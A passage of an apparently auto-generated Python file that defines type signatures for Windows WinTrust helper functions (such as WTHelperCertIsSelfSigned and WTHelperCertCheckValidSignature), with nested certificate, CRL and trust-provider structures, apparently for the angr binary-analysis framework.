SimTypePointer(SimStruct({"dwCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCertEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCertEncoded": SimTypeInt(signed=False, label="UInt32"), "pCertInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "NotBefore": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NotAfter": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "Subject": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SubjectPublicKeyInfo": SimStruct({"Algorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "PublicKey": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None)}, name="CERT_PUBLIC_KEY_INFO", pack=False, align=None), "IssuerUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "SubjectUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CERT_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CERT_CONTEXT", pack=False, align=None), offset=0), "TrustStatus": SimStruct({"dwErrorStatus": SimTypeInt(signed=False, label="UInt32"), "dwInfoStatus": SimTypeInt(signed=False, label="UInt32")}, name="CERT_TRUST_STATUS", pack=False, align=None), "pRevocationInfo": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "dwRevocationResult": SimTypeInt(signed=False, label="UInt32"), "pszRevocationOid": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "pvOidSpecificInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "fHasFreshnessTime": SimTypeInt(signed=True, label="Int32"), "dwFreshnessTime": SimTypeInt(signed=False, label="UInt32"), "pCrlInfo": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "pBaseCrlContext": SimTypePointer(SimStruct({"dwCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCrlEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCrlEncoded": SimTypeInt(signed=False, label="UInt32"), "pCrlInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "ThisUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NextUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cCRLEntry": SimTypeInt(signed=False, label="UInt32"), "rgCRLEntry": SimTypePointer(SimStruct({"SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "RevocationDate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_ENTRY", pack=False, align=None), offset=0), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CRL_CONTEXT", pack=False, align=None), offset=0), "pDeltaCrlContext": SimTypePointer(SimStruct({"dwCertEncodingType": SimTypeInt(signed=False, label="UInt32"), "pbCrlEncoded": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cbCrlEncoded": SimTypeInt(signed=False, label="UInt32"), "pCrlInfo": SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "ThisUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NextUpdate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cCRLEntry": SimTypeInt(signed=False, label="UInt32"), "rgCRLEntry": SimTypePointer(SimStruct({"SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "RevocationDate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_ENTRY", pack=False, align=None), offset=0), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_INFO", pack=False, align=None), offset=0), "hCertStore": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CRL_CONTEXT", pack=False, align=None), offset=0), "pCrlEntry": SimTypePointer(SimStruct({"SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "RevocationDate": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CRL_ENTRY", pack=False, align=None), offset=0), "fDeltaCrlEntry": SimTypeInt(signed=True, label="Int32")}, name="CERT_REVOCATION_CRL_INFO", pack=False, align=None), offset=0)}, name="CERT_REVOCATION_INFO", pack=False, align=None), offset=0), "pIssuanceUsage": SimTypePointer(SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None), offset=0), "pApplicationUsage": SimTypePointer(SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None), offset=0), "pwszExtendedErrorInfo": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CERT_CHAIN_ELEMENT", pack=False, align=None), offset=0)}, name="CRYPT_PROVIDER_CERT", pack=False, align=None), offset=0), arg_names=["pSgnr", "idxCert"]),
#
'WTHelperProvDataFromStateData': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pWintrustData": SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pPolicyCallbackData": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pSIPClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "dwUIChoice": SimTypeInt(signed=False, label="WINTRUST_DATA_UICHOICE"), "fdwRevocationChecks": SimTypeInt(signed=False, label="WINTRUST_DATA_REVOCATION_CHECKS"), "dwUnionChoice": SimTypeInt(signed=False, label="WINTRUST_DATA_UNION_CHOICE"), "Anonymous": SimUnion({"pFile": SimTypePointer(SimTypeBottom(label="WINTRUST_FILE_INFO"), offset=0), "pCatalog": SimTypePointer(SimTypeBottom(label="WINTRUST_CATALOG_INFO"), offset=0), "pBlob": SimTypePointer(SimTypeBottom(label="WINTRUST_BLOB_INFO"), offset=0), "pSgnr": SimTypePointer(SimTypeBottom(label="WINTRUST_SGNR_INFO"), offset=0), "pCert": SimTypePointer(SimTypeBottom(label="WINTRUST_CERT_INFO"), offset=0)}, name="<anon>", label="None"), "dwStateAction": SimTypeInt(signed=False, label="WINTRUST_DATA_STATE_ACTION"), "hWVTStateData": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwszURLReference": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwProvFlags": SimTypeInt(signed=False, label="UInt32"), "dwUIContext": SimTypeInt(signed=False, label="WINTRUST_DATA_UICONTEXT"), "pSignatureSettings": SimTypePointer(SimTypeBottom(label="WINTRUST_SIGNATURE_SETTINGS"), offset=0)}, name="WINTRUST_DATA", pack=False, align=None), offset=0), "fOpenedFile": SimTypeInt(signed=True, label="Int32"), "hWndParent": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pgActionID": SimTypePointer(SimTypeBottom(label="Guid"), offset=0), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "dwError": SimTypeInt(signed=False, label="UInt32"), "dwRegSecuritySettings": SimTypeInt(signed=False, label="UInt32"), "dwRegPolicySettings": SimTypeInt(signed=False, label="UInt32"), "psPfns": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_FUNCTIONS"), offset=0), "cdwTrustStepErrors": SimTypeInt(signed=False, label="UInt32"), "padwTrustStepErrors": SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), "chStores": SimTypeInt(signed=False, label="UInt32"), "pahStores": SimTypePointer(SimTypePointer(SimTypeBottom(label="Void"), offset=0), offset=0), "dwEncoding": SimTypeInt(signed=False, label="UInt32"), "hMsg": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "csSigners": SimTypeInt(signed=False, label="UInt32"), "pasSigners": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_SGNR"), offset=0), "csProvPrivData": SimTypeInt(signed=False, label="UInt32"), "pasProvPrivData": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_PRIVDATA"), offset=0), "dwSubjectChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"pPDSip": SimTypePointer(SimTypeBottom(label="PROVDATA_SIP"), offset=0)}, name="<anon>", label="None"), "pszUsageOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fRecallWithState": SimTypeInt(signed=True, label="Int32"), "sftSystemTime": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "pszCTLSignerUsageOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwProvFlags": SimTypeInt(signed=False, label="UInt32"), "dwFinalError": SimTypeInt(signed=False, label="UInt32"), "pRequestUsage": SimTypePointer(SimStruct({"dwType": SimTypeInt(signed=False, label="UInt32"), "Usage": SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None)}, name="CERT_USAGE_MATCH", pack=False, align=None), offset=0), "dwTrustPubSettings": SimTypeInt(signed=False, label="UInt32"), "dwUIStateFlags": SimTypeInt(signed=False, label="UInt32"), "pSigState": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_SIGSTATE"), offset=0), "pSigSettings": SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "dwIndex": SimTypeInt(signed=False, label="UInt32"), "dwFlags": SimTypeInt(signed=False, label="WINTRUST_SIGNATURE_SETTINGS_FLAGS"), "cSecondarySigs": SimTypeInt(signed=False, label="UInt32"), "dwVerifiedSigIndex": SimTypeInt(signed=False, label="UInt32"), "pCryptoPolicy": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "dwInfoChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"pvInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pSerializedInfo": SimTypePointer(SimStruct({"dwFlags": SimTypeInt(signed=False, label="CERT_STRONG_SIGN_FLAGS"), "pwszCNGSignHashAlgids": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszCNGPubKeyMinBitLengths": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CERT_STRONG_SIGN_SERIALIZED_INFO", pack=False, align=None), offset=0), "pszOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="<anon>", label="None")}, name="CERT_STRONG_SIGN_PARA", pack=False, align=None), offset=0)}, name="WINTRUST_SIGNATURE_SETTINGS", pack=False, align=None), offset=0)}, name="CRYPT_PROVIDER_DATA", pack=False, align=None), offset=0), arg_names=["hStateData"]),
#
'WTHelperGetProvPrivateDataFromChain': SimTypeFunction([SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pWintrustData": SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pPolicyCallbackData": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pSIPClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "dwUIChoice": SimTypeInt(signed=False, label="WINTRUST_DATA_UICHOICE"), "fdwRevocationChecks": SimTypeInt(signed=False, label="WINTRUST_DATA_REVOCATION_CHECKS"), "dwUnionChoice": SimTypeInt(signed=False, label="WINTRUST_DATA_UNION_CHOICE"), "Anonymous": SimUnion({"pFile": SimTypePointer(SimTypeBottom(label="WINTRUST_FILE_INFO"), offset=0), "pCatalog": SimTypePointer(SimTypeBottom(label="WINTRUST_CATALOG_INFO"), offset=0), "pBlob": SimTypePointer(SimTypeBottom(label="WINTRUST_BLOB_INFO"), offset=0), "pSgnr": SimTypePointer(SimTypeBottom(label="WINTRUST_SGNR_INFO"), offset=0), "pCert": SimTypePointer(SimTypeBottom(label="WINTRUST_CERT_INFO"), offset=0)}, name="<anon>", label="None"), "dwStateAction": SimTypeInt(signed=False, label="WINTRUST_DATA_STATE_ACTION"), "hWVTStateData": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwszURLReference": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwProvFlags": SimTypeInt(signed=False, label="UInt32"), "dwUIContext": SimTypeInt(signed=False, label="WINTRUST_DATA_UICONTEXT"), "pSignatureSettings": SimTypePointer(SimTypeBottom(label="WINTRUST_SIGNATURE_SETTINGS"), offset=0)}, name="WINTRUST_DATA", pack=False, align=None), offset=0), "fOpenedFile": SimTypeInt(signed=True, label="Int32"), "hWndParent": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pgActionID": SimTypePointer(SimTypeBottom(label="Guid"), offset=0), "hProv": SimTypePointer(SimTypeInt(signed=False, label="UInt"), label="UIntPtr", offset=0), "dwError": SimTypeInt(signed=False, label="UInt32"), "dwRegSecuritySettings": SimTypeInt(signed=False, label="UInt32"), "dwRegPolicySettings": SimTypeInt(signed=False, label="UInt32"), "psPfns": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_FUNCTIONS"), offset=0), "cdwTrustStepErrors": SimTypeInt(signed=False, label="UInt32"), "padwTrustStepErrors": SimTypePointer(SimTypeInt(signed=False, label="UInt32"), offset=0), "chStores": SimTypeInt(signed=False, label="UInt32"), "pahStores": SimTypePointer(SimTypePointer(SimTypeBottom(label="Void"), offset=0), offset=0), "dwEncoding": SimTypeInt(signed=False, label="UInt32"), "hMsg": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "csSigners": SimTypeInt(signed=False, label="UInt32"), "pasSigners": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_SGNR"), offset=0), "csProvPrivData": SimTypeInt(signed=False, label="UInt32"), "pasProvPrivData": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_PRIVDATA"), offset=0), "dwSubjectChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"pPDSip": SimTypePointer(SimTypeBottom(label="PROVDATA_SIP"), offset=0)}, name="<anon>", label="None"), "pszUsageOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fRecallWithState": SimTypeInt(signed=True, label="Int32"), "sftSystemTime": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "pszCTLSignerUsageOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwProvFlags": SimTypeInt(signed=False, label="UInt32"), "dwFinalError": SimTypeInt(signed=False, label="UInt32"), "pRequestUsage": SimTypePointer(SimStruct({"dwType": SimTypeInt(signed=False, label="UInt32"), "Usage": SimStruct({"cUsageIdentifier": SimTypeInt(signed=False, label="UInt32"), "rgpszUsageIdentifier": SimTypePointer(SimTypePointer(SimTypeChar(label="Byte"), offset=0), offset=0)}, name="CTL_USAGE", pack=False, align=None)}, name="CERT_USAGE_MATCH", pack=False, align=None), offset=0), "dwTrustPubSettings": SimTypeInt(signed=False, label="UInt32"), "dwUIStateFlags": SimTypeInt(signed=False, label="UInt32"), "pSigState": SimTypePointer(SimTypeBottom(label="CRYPT_PROVIDER_SIGSTATE"), offset=0), "pSigSettings": SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "dwIndex": SimTypeInt(signed=False, label="UInt32"), "dwFlags": SimTypeInt(signed=False, label="WINTRUST_SIGNATURE_SETTINGS_FLAGS"), "cSecondarySigs": SimTypeInt(signed=False, label="UInt32"), "dwVerifiedSigIndex": SimTypeInt(signed=False, label="UInt32"), "pCryptoPolicy": SimTypePointer(SimStruct({"cbSize": SimTypeInt(signed=False, label="UInt32"), "dwInfoChoice": SimTypeInt(signed=False, label="UInt32"), "Anonymous": SimUnion({"pvInfo": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pSerializedInfo": SimTypePointer(SimStruct({"dwFlags": SimTypeInt(signed=False, label="CERT_STRONG_SIGN_FLAGS"), "pwszCNGSignHashAlgids": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszCNGPubKeyMinBitLengths": SimTypePointer(SimTypeChar(label="Char"), offset=0)}, name="CERT_STRONG_SIGN_SERIALIZED_INFO", pack=False, align=None), offset=0), "pszOID": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="<anon>", label="None")}, name="CERT_STRONG_SIGN_PARA", pack=False, align=None), offset=0)}, name="WINTRUST_SIGNATURE_SETTINGS", pack=False, align=None), offset=0)}, name="CRYPT_PROVIDER_DATA", pack=False, align=None), offset=0), SimTypePointer(SimTypeBottom(label="Guid"), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "gProviderID": SimTypeBottom(label="Guid"), "cbProvData": SimTypeInt(signed=False, label="UInt32"), "pvProvData": SimTypePointer(SimTypeBottom(label="Void"), offset=0)}, name="CRYPT_PROVIDER_PRIVDATA", pack=False, align=None), offset=0), arg_names=["pProvData", "pgProviderID"]),
#
'WTHelperCertIsSelfSigned': SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimStruct({"dwVersion": SimTypeInt(signed=False, label="UInt32"), "SerialNumber": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SignatureAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Issuer": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "NotBefore": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "NotAfter": SimStruct({"dwLowDateTime": SimTypeInt(signed=False, label="UInt32"), "dwHighDateTime": SimTypeInt(signed=False, label="UInt32")}, name="FILETIME", pack=False, align=None), "Subject": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "SubjectPublicKeyInfo": SimStruct({"Algorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "PublicKey": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None)}, name="CERT_PUBLIC_KEY_INFO", pack=False, align=None), "IssuerUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "SubjectUniqueId": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "cUnusedBits": SimTypeInt(signed=False, label="UInt32")}, name="CRYPT_BIT_BLOB", pack=False, align=None), "cExtension": SimTypeInt(signed=False, label="UInt32"), "rgExtension": SimTypePointer(SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "fCritical": SimTypeInt(signed=True, label="Int32"), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CERT_EXTENSION", pack=False, align=None), offset=0)}, name="CERT_INFO", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["dwEncoding", "pCert"]),
#
'WTHelperCertCheckValidSignature': SimTypeFunction([SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pWintrustData": SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pPolicyCallbackData": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "pSIPClientData": SimTypePointer(SimTypeBottom(label="Void"), offset=0), "dwUIChoice": SimTypeInt(signed=False, label="WINTRUST_DATA_UICHOICE"), "fdwRevocationChecks": SimTypeInt(signed=False, label="WINTRUST_DATA_REVOCATION_CHECKS"), "dwUnionChoice": SimTypeInt(signed=False, label="WINTRUST_DATA_UNION_CHOICE"), "Anonymous": SimUnion({"pFile": SimTypePointer(SimTypeBottom(label="WINTRUST_FILE_INFO"), offset=0), "pCatalog": SimTypePointer(SimTypeBottom(label="WINTRUST_CATALOG_INFO"), offset=0), "pBlob": SimTypePointer(SimTypeBottom(label="WINTRUST_BLOB_INFO"), offset=0), "pSgnr": SimTypePointer(SimTypeBottom(label="WINTRUST_SGNR_INFO"), offset=0), "pCert": SimTypePointer(SimTypeBottom(label="WINTRUST_CERT_INFO"), offset=0)}, name="<anon>", label="None"), "dwStateAction": SimTypeInt(signed=False, label="WINTRUST_DATA_STATE_ACTION"), "hWVTStateData": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pwszURLReference": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwProvFlags": SimTypeInt(signed=False, label="UInt32"), "dwUIContext": SimTypeInt(signed=False, label="WINTRUST_DATA_UICONTEXT"), "pSignatureSettings": SimTypePointer(SimTypeBottom(label="WINTRUST_SIGNATURE_SETTINGS"), offset=0)}, name="WINTRUST_DATA", pack=False, align=None), offset=0), "fOpenedFile": SimTypeInt(signed=True, label="Int32"), "hWndParent": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "pgActionID": SimTypePointer(SimTypeBottom(label="Guid"), 